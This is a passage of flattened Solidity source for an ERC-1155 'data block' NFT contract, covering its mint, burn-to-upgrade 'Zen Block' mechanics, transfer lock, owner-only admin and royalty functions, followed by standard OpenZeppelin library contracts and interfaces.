mintedSupply += _mintAmount;
_mint(msg.sender, _tokenId, _mintAmount, "");
if ((mintedSupply + remainingAirDropSupply) == maxSupply) {
_transferLock = false; // unlock NFT's when mint ends
}
}
/**
* BURN MECHANICS
*/
function burnToMintZenBlock(uint256 _burnAmount) public {
require(mintZenBlockActiveTs != 0, "mint zen block time is not set");
require(block.timestamp >= mintZenBlockActiveTs, "wait for mint zen block time");
uint256 userDataBlockCount = balanceOf(msg.sender, _tokenId);
require(userDataBlockCount >= _burnAmount, "Not enough data block");
burnedSupply += _burnAmount;
_burn(msg.sender, _tokenId, _burnAmount);
ZEN_BLOCKS(zenBlocksContract).mint(msg.sender, _burnAmount);
}
function burnToUpgradeZenBlock(uint256 _zenBlockTokenId) public {
require(upgradeZenBlockActiveTs != 0, "upgrade zen block time is not set");
require(block.timestamp >= upgradeZenBlockActiveTs, "wait for upgrade zen block time");
uint256 userDataBlockCount = balanceOf(msg.sender, _tokenId);
require(userDataBlockCount >= 1, "Not enough data block");
require(ZEN_BLOCKS(zenBlocksContract).ownerOf(_zenBlockTokenId) == msg.sender, "Not your token");
burnedSupply += 1;
_burn(msg.sender, _tokenId, 1);
ZEN_BLOCKS(zenBlocksContract).upgrade(_zenBlockTokenId);
}
/**
* PUBLIC FUNCTIONS
*/
function allowlistMintedAmount(address addr) public view returns (uint256) {
return _allowlistMintCntPerAddress[addr];
}
function publicMintedAmount(address addr) public view returns (uint256) {
return _mintPublicCntPerAddress[addr] & 0xFF;
}
function remainingMintableAmount() public view returns (uint256) {
return maxSupply - mintedSupply - remainingAirDropSupply;
}
/**
* TRANSFER LOCK
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override {
if (from != address(0x0)){ // minting is allowed
require(!_transferLock, "ERC1155: transfer not permitted");
}
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(!_transferLock, "ERC1155: approval not permitted");
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* ADMIN FUNCTIONS
*/
function airDrop(address[] memory _targets, uint256[] memory _mintAmounts) external onlyOwner {
require((_targets.length) == (_mintAmounts.length), "array lengths should match");
uint256 txMintedAmount = 0;
for (uint256 i = 0; i < _targets.length; i++) {
_mint(_targets[i], _tokenId, _mintAmounts[i], "");
txMintedAmount += _mintAmounts[i];
}
require(txMintedAmount <= remainingAirDropSupply, "max NFT limit exceeded");
remainingAirDropSupply -= txMintedAmount;
mintedSupply += txMintedAmount;
}
function activateMint(uint256 _mintActiveTs) external onlyOwner {
require(mintActiveTs == 0, "Already activated");
mintActiveTs = _mintActiveTs;
emit MintWillActivateOn(mintActiveTs);
}
function deactivateMint() external onlyOwner {
mintActiveTs = 0;
emit MintDeactivated();
}
function activatePublicMint(uint256 _mintPublicActiveTs) external onlyOwner {
require(mintPublicActiveTs == 0, "Already activated");
mintPublicActiveTs = _mintPublicActiveTs;
emit MintPublicWillActivateOn(mintPublicActiveTs);
}
function deactivatPubliceMint() external onlyOwner {
mintPublicActiveTs = 0;
emit MintPublicDeactivated();
}
function activateZenBlockMint(uint256 _mintZenBlockActiveTs) external onlyOwner {
require(mintZenBlockActiveTs == 0, "Already activated");
mintZenBlockActiveTs = _mintZenBlockActiveTs;
emit MintZenBlockWillActivateOn(mintZenBlockActiveTs);
}
function deactivateZenBlockMint() external onlyOwner {
mintZenBlockActiveTs = 0;
emit MintZenBlockDeactivated();
}
function activateZenBlockUpgrade(uint256 _upgradeZenBlockActiveTs) external onlyOwner {
require(upgradeZenBlockActiveTs == 0, "Already activated");
upgradeZenBlockActiveTs = _upgradeZenBlockActiveTs;
emit UpgradeZenBlockWillActivateOn(upgradeZenBlockActiveTs);
}
function deactivateZenBlockUpgrade() external onlyOwner {
upgradeZenBlockActiveTs = 0;
emit UpgradeZenBlockDeactivated();
}
function setASHContractAddress(address _ashContract) external onlyOwner {
ashContract = _ashContract;
}
function setZenBlocksContractAddress(address _zenBlocksContract) external onlyOwner {
zenBlocksContract = _zenBlocksContract;
}
function setValidatorAddress(address _validatorAddress) external onlyOwner {
validatorAddress = _validatorAddress;
}
function setURI(string memory newuri) external onlyOwner {
_setURI(newuri);
}
function removeTransferLock() external onlyOwner {
require(_transferLock, "Transfer lock already removed");
_transferLock = false;
}
function withdraw() external onlyOwner {
require(_royaltyRecipient != address(0x0), "Must set royalty recipient");
(bool os, ) = _royaltyRecipient.call{value: address(this).balance}("");
require(os);
}
function withdrawERC20(address erc20_addr) external onlyOwner {
require(_royaltyRecipient != address(0x0), "Must set royalty recipient");
IERC20 erc20_int = IERC20(erc20_addr);
uint256 balance = erc20_int.balanceOf(address(this));
bool os = erc20_int.transfer(_royaltyRecipient, balance);
require(os);
}
/**
* ROYALTY FUNCTIONS
*/
function updateRoyalties(address payable recipient, uint256 bps) external onlyOwner {
_royaltyRecipient = recipient;
_royaltyBps = bps;
}
function getRoyalties(uint256) external view returns (address payable[] memory recipients, uint256[] memory bps) {
if (_royaltyRecipient != address(0x0)) {
recipients = new address payable[](1);
recipients[0] = _royaltyRecipient;
bps = new uint256[](1);
bps[0] = _royaltyBps;
}
return (recipients, bps);
}
function getFeeRecipients(uint256) external view returns (address payable[] memory recipients) {
if (_royaltyRecipient != address(0x0)) {
recipients = new address payable[](1);
recipients[0] = _royaltyRecipient;
}
return recipients;
}
function getFeeBps(uint256) external view returns (uint[] memory bps) {
if (_royaltyRecipient != address(0x0)) {
bps = new uint256[](1);
bps[0] = _royaltyBps;
}
return bps;
}
function royaltyInfo(uint256, uint256 value) external view returns (address, uint256) {
return (_royaltyRecipient, value*_royaltyBps/10000);
}
receive() external payable {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC1155) returns (bool) {
return ERC1155.supportsInterface(interfaceId) || interfaceId == _INTERFACE_ID_ROYALTIES_CREATORCORE
|| interfaceId == _INTERFACE_ID_ROYALTIES_EIP2981 || interfaceId == _INTERFACE_ID_ROYALTIES_RARIBLE;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol)
pragma solidity ^0.8.0;
import "./IERC1155.sol";
import "./IERC1155Receiver.sol";
import "./extensions/IERC1155MetadataURI.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
constructor(string memory uri_) {
_setURI(uri_);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `from`
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol)
pragma solidity ^0.8.0;
import "../IERC1155.sol";
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
* @dev Handles the receipt of a single ERC1155 token type. This function is
* called at the end of a `safeTransferFrom` after the balance has been updated.
*
* NOTE: To accept the transfer, this must return
* `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
* (i.e. 0xf23a6e61, or its own function selector).
*
* @param operator The address which initiated the transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param id The ID of the token being transferred
* @param value The amount of tokens being transferred
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
* @dev Handles the receipt of a multiple ERC1155 token types. This function
* is called at the end of a `safeBatchTransferFrom` after the balances have
* been updated.
*
* NOTE: To accept the transfer(s), this must return
* `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
* (i.e. 0xbc197c81, or its own function selector).
*
* @param operator The address which initiated the batch transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param ids An array containing ids of each token being transferred (order and length must match values array)
* @param values An array containing amounts of each token being transferred (order and length must match ids array)
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
